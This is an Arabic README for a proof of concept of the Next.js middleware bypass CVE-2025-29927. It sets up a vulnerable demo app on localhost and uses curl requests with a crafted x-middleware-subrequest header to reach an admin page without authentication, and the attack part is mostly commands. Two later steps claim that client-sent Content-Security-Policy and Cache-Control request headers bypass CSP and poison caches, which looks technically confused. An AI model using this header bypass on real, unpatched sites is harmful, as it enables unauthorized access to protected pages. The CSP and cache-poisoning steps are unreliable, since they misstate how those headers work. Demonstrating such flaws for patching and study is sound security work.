
CVE-2025-29927 إثبات المفهوم
يُظهر هذا الـ PoC ثغرة CVE-2025-29927، وهي ثغرة في البرمجيات الوسيطة لـ Next.js تسمح للمهاجمين بتجاوز آليات المصادقة والتفويض وCSP باستخدام ترويسة x-middleware-subrequest.
إصدارات Next.js من 11.1.4 إلى 15.1.7
1️⃣ استنساخ وتثبيت الـ PoC
git clone https://github.com/Eve-SatOrU/POC-CVE-2025-29927.git
cd POC-CVE-2025-29927
cd Demo
cd my-next-app
npm install
npm run dev
سيبدأ التطبيق على http://localhost:3000
1- استخدم x-middleware-subrequest للوصول غير المصرح به:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
💥 النتيجة المتوقعة: يعيد الاستجابة admin admin، على الرغم من تجاوز المصادقة.

إذا كانت CSP مفروضة عبر البرمجيات الوسيطة، فتجاوزها:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Security-Policy: default-src 'self'" \
http://localhost:3000/admin
💥 النتيجة المتوقعة: يتم تجاهل CSP، مما يسمح بتنفيذ البرامج النصية الخبيثة.
استغل تسميم ذاكرة التخزين المؤقت بفرض استجابة مشوهة:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Cache-Control: public, max-age=3600" \
http://localhost:3000/admin
💥 النتيجة المتوقعة: يتم تخزين الصفحة مؤقتًا بمحتوى غير صحيح، مما يعطل المستخدمين العاديين.
🔍 تم الاكتشاف بواسطة: Allam Rachid (zhero;) & Allam Yasser (inzo_)